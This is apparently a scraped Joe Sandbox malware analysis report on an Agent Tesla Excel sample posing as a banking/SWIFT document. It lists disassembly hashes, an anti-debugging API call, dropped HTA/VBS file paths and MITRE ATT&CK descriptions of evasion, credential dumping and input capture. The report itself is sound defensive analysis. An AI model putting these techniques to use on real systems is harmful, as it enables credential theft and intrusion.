
Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $p$$p
API String ID: 0-580715581
Opcode ID: 11d868b9ac448e3b9e08d2c80b1c3d57e226a0eb42cf345dd937ffe5436a1a50
Instruction ID: 87ca0072a279cac3278f680a66105adaa70b709aa1d608242f3258c6fbeffff1
Opcode Fuzzy Hash: 11d868b9ac448e3b9e08d2c80b1c3d57e226a0eb42cf345dd937ffe5436a1a50
Instruction Fuzzy Hash: C2029E30B00215DFDB25DB64E490BAEB7E2EF84310F648469D405EB396DB39ED46CB90

Function 003D5310 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 003D5387

Memory Dump Source

Source File: 0000000E.00000002.618828365.00000000003D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_3d0000_AddInProcess32.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 10a76493b86b414f14fd99e3022073ddd87ad0b3b7f2b54fae167e31aad6ebdc
Instruction ID: 66a02c3c8278f931ec9a32e1ca7129e909697dbc017297fc036bb7fbe7e8776e
Opcode Fuzzy Hash: 10a76493b86b414f14fd99e3022073ddd87ad0b3b7f2b54fae167e31aad6ebdc
Instruction Fuzzy Hash: F02128B68002198FCB10CF9AD884BEEFBF4AF49320F14845AD455A7350D778A944CFA1

Function 007205C0 Relevance: .8, Instructions: 813COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6d37ec47223149dfcea3c218d73de64470800d93f5ad030f503cec0eecf8a42
Instruction ID: 5bb32e464f9b7bc2fc87e3c87f808954a8226d039574a5b17d923aef7811be4a
Opcode Fuzzy Hash: d6d37ec47223149dfcea3c218d73de64470800d93f5ad030f503cec0eecf8a42
Instruction Fuzzy Hash: AB62A034B002149FDB24DB68E594BADB7F2EF84310F548469E406EB396DB39ED46CB90

Function 00721070 Relevance: 7.9, Strings: 6, Instructions: 405
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 00721579
$p, xrefs: 007213B9
$p, xrefs: 00721585
$p, xrefs: 007213AD
$p, xrefs: 00721353
$p, xrefs: 0072150D

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $p$$p$$p$$p$$p$$p
API String ID: 0-3402276426
Opcode ID: 9ad38b3a7baa98380fd9ef3fb0b7a2ac66539d94933291238a7d814bc0c56bfa
Instruction ID: 4de832369c195b1c90e36de44bd6489f02a593c50b43a91a8bb81086720ca3a2
Opcode Fuzzy Hash: 9ad38b3a7baa98380fd9ef3fb0b7a2ac66539d94933291238a7d814bc0c56bfa
Instruction Fuzzy Hash: 0FF1F734A00214CFDB19EFA4E594B6EBBB2BF98300F648569D405AB359DB35DC42CB90

Function 00723130 Relevance: 2.7, Strings: 2, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 007231EB
$p, xrefs: 007231B0

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $p$$p
API String ID: 0-580715581
Opcode ID: 15a3d8016a4efe982435800e013faf26fdd713cb5bfd5bf20d3bafe25bda9aa1
Instruction ID: 7a39bb1524b1b1dced412feb203c373bb4ac2f2aee5cf8a2dca4ef6e6a1e3568
Opcode Fuzzy Hash: 15a3d8016a4efe982435800e013faf26fdd713cb5bfd5bf20d3bafe25bda9aa1
Instruction Fuzzy Hash: D4513F34B006168FDB58DF74D9A0BAEB7F2EB84340F14846AD806EB385EB39DD458B50

Function 00724F30 Relevance: 1.5, Strings: 1, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHp, xrefs: 007251F2

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID: PHp
API String ID: 0-2495607638
Opcode ID: 4b949dd96edc8dcec86fb85edcbd50586b092f8f06ea047eb8cc49f2a05b42ce
Instruction ID: 2ab7596657db795f3b4e8cd26fa41b5936be2b9fa54c72db4a86ffaffa14340c
Opcode Fuzzy Hash: 4b949dd96edc8dcec86fb85edcbd50586b092f8f06ea047eb8cc49f2a05b42ce
Instruction Fuzzy Hash: D781E431B006248FDF259B78E8947AEBBE2EBC8310F248469E406DB385DB39DD458791

Function 00722050 Relevance: 1.3, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 007220CB

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $p
API String ID: 0-982128392
Opcode ID: af322769d40450b76e55deeafd6b30de584f9c373f23dbb89bc182dc8314f4e0
Instruction ID: d2796e9c85120a4beb0b81e6932f60944bdced0fae7bfdb7e960577134617996
Opcode Fuzzy Hash: af322769d40450b76e55deeafd6b30de584f9c373f23dbb89bc182dc8314f4e0
Instruction Fuzzy Hash: 00112531704368ABCF348A65F9816AEBBA1EB80310F24446EDD01EB257D7B9DD4BC791

Function 00721061 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a762f240558092affe96cfab5e08516d0be8b2d53930187175a03c1012853e8d
Instruction ID: f28fa48bd51e0a00b788e3f6404bf7e8c04fa9bf40518db42009759bc4f04118
Opcode Fuzzy Hash: a762f240558092affe96cfab5e08516d0be8b2d53930187175a03c1012853e8d
Instruction Fuzzy Hash: 15811A70A01214CFDB19EF64E594B9EB7B6FF94300F648529E405AB399DB35EC42CB80

Function 00720CD8 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef3e6fe08d818ce6a600a23d3b95dc620649b3eb5590c6358d0802413bc00de6
Instruction ID: f9f56e6ddd0fe8dcb61a2e779ba42ecbebaf8227d2f7f00af4400aac50b0384d
Opcode Fuzzy Hash: ef3e6fe08d818ce6a600a23d3b95dc620649b3eb5590c6358d0802413bc00de6
Instruction Fuzzy Hash: A621A135B012189BCF14DA69F99479EBBF6EF94310F548429E405EB382E735EC458BD0

Function 0014D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.618475068.000000000014D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0014D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_14d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ce1039df2145ae391cbab6c1dd74a44d7292b58ba90f05aa95976bebb917f57
Instruction ID: 6b5c3cc383cd31fc09e783eff7c6d14a58c230bdd72aafe76bce6b432eb880de
Opcode Fuzzy Hash: 6ce1039df2145ae391cbab6c1dd74a44d7292b58ba90f05aa95976bebb917f57
Instruction Fuzzy Hash: C621B075604240EFDF15CF14E884B26BB65EB84314F34C5A9E8494B266C73AD847CBA1

Function 00721602 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3a1ed4d03bb4d27e3a82b21664a51ac9516b3ec0daf03829a951de55e725cc0
Instruction ID: 87bee3205b52cc723067516ae6f74ae5caf2c730de712cbdffc1a5051e2c9e61
Opcode Fuzzy Hash: e3a1ed4d03bb4d27e3a82b21664a51ac9516b3ec0daf03829a951de55e725cc0
Instruction Fuzzy Hash: 5421C234A00219CBCB14EF94E684AADB7F2FF58315FA48566D801AB346D734EC82CB50

Function 0014D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.618475068.000000000014D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0014D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_14d000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0b29ad5bf8bf0666212b14fe499c174270008ec820696f8e16661ad236003d5
Instruction ID: 234ca13218f4ce575a79851ae6041649a99f601048c4a4bdce8ef36ccea3fb41
Opcode Fuzzy Hash: a0b29ad5bf8bf0666212b14fe499c174270008ec820696f8e16661ad236003d5
Instruction Fuzzy Hash: 332162755083809FDB02CF14D994715BF71EB46314F28C5EAD8498F267C33AD85ACB62

Function 00724E60 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e3ab47e21e8fc2edc0faae175d38ee9ae39b4e3555a93880ba732647e071fea
Instruction ID: 229c58c24cc0b73196adbd7d1f6fc583419a2a0afb49e539a48054b376ec7b2c
Opcode Fuzzy Hash: 1e3ab47e21e8fc2edc0faae175d38ee9ae39b4e3555a93880ba732647e071fea
Instruction Fuzzy Hash: A80128317042A54FEB22663DE81136E3B9AEFD2310F5A4C76E049CF2A1DA1CDD468795

Function 00724318 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb265f2e4787a90843dab433b0f9435e6c645f24bdb495e02a55214477c5db58
Instruction ID: fee2cf057a23f52192cf35fc6c7cbaa4b8a891dacdc288c06936c2b01cbb6f7b
Opcode Fuzzy Hash: fb265f2e4787a90843dab433b0f9435e6c645f24bdb495e02a55214477c5db58
Instruction Fuzzy Hash: 6F0131317002245BDB64EA6CE89476E73D5EB99710F108828E50AEB355DA69DC4647C4

Function 00724F20 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ad3d49d5eba98c484f8813785290cbe9585b7d02b8b6697361f65203347a0cf
Instruction ID: 48b25422500bfd183ca034b0a9153424e08121738247e7b252c7d38eba7f6614
Opcode Fuzzy Hash: 6ad3d49d5eba98c484f8813785290cbe9585b7d02b8b6697361f65203347a0cf
Instruction Fuzzy Hash: 77F02B35B041149FEF209AB8F8A879BBBA1E7C4325F148436E906D7280C2289D558B90

Non-executed Functions

Function 00721678 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$p, xrefs: 00721C2A
$p, xrefs: 00721B75
$p, xrefs: 007217DD
$p, xrefs: 00721C1E
$p, xrefs: 00721C14
$p, xrefs: 007217B8
$p, xrefs: 007217E9
$p, xrefs: 007217AC
$p, xrefs: 00721B69
$p, xrefs: 00721C08

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $p$$p$$p$$p$$p$$p$$p$$p$$p$$p
API String ID: 0-1868313790
Opcode ID: e651a1bab53746eb19fd6143c17e445836b0d595ac057878fc83599e6b4b9ced
Instruction ID: b89aaa00455e82ad846ef1922179f2486ce3836f4cae2debe895cea083ffcf47
Opcode Fuzzy Hash: e651a1bab53746eb19fd6143c17e445836b0d595ac057878fc83599e6b4b9ced
Instruction Fuzzy Hash: DB124D35A00229CFDB28DF68D854BAEB7F2BF95300F64856AD409AB355DB34DD81CB90

Function 007223C0 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$p, xrefs: 0072268C
$p, xrefs: 0072261B
$p, xrefs: 00722627
$p, xrefs: 00722680

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $p$$p$$p$$p
API String ID: 0-3121760203
Opcode ID: a08d0ed8ccfbc9a88a8ae2d36058605a00a9b34a0ebc68061cd951ec5f57e225
Instruction ID: e3395d108e23a8bbe630ffd6e765596407d1dcc7adadbd0d10c4106a39e5da75
Opcode Fuzzy Hash: a08d0ed8ccfbc9a88a8ae2d36058605a00a9b34a0ebc68061cd951ec5f57e225
Instruction Fuzzy Hash: 95B14F30A00214DFCB29EF64E5957AEB7B2EF84300F648869D405EB356DB79DD82CB80

Function 007227D8 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LRp, xrefs: 0072291A
$p, xrefs: 00722863
LRp, xrefs: 007228CB
$p, xrefs: 00722857

Memory Dump Source

Source File: 0000000E.00000002.619064038.0000000000720000.00000040.00000800.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_720000_AddInProcess32.jbxd

Similarity

API ID:
String ID: LRp$LRp$$p$$p
API String ID: 0-727438728
Opcode ID: 25b8aee5c34957ba64c20592da386d1337e19ff339233fd7ba5fde267bc455ce
Instruction ID: 3b027e0c8d9a9f50087da25221e36f0f93bd53cb7dced48d25be7d2918509026
Opcode Fuzzy Hash: 25b8aee5c34957ba64c20592da386d1337e19ff339233fd7ba5fde267bc455ce
Instruction Fuzzy Hash: 20516F31B00211AFCB18EF68E481A6EB7E2EF89300F148569E455AF366DB35EC45CB50

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\EvengIEcache[1].hta

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\eveningfiledatinglover[1].vbs

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\48B4810C.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D2E31577.emf

C:\Users\user\AppData\Local\Temp\1vaomz5u.ft1.psm1

C:\Users\user\AppData\Local\Temp\RESC2C3.tmp

C:\Users\user\AppData\Local\Temp\cboglgly\CSC66221087E6254F6E92E0F9138CFEC2C1.TMP

C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.0.cs

Windows Analysis Report
Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
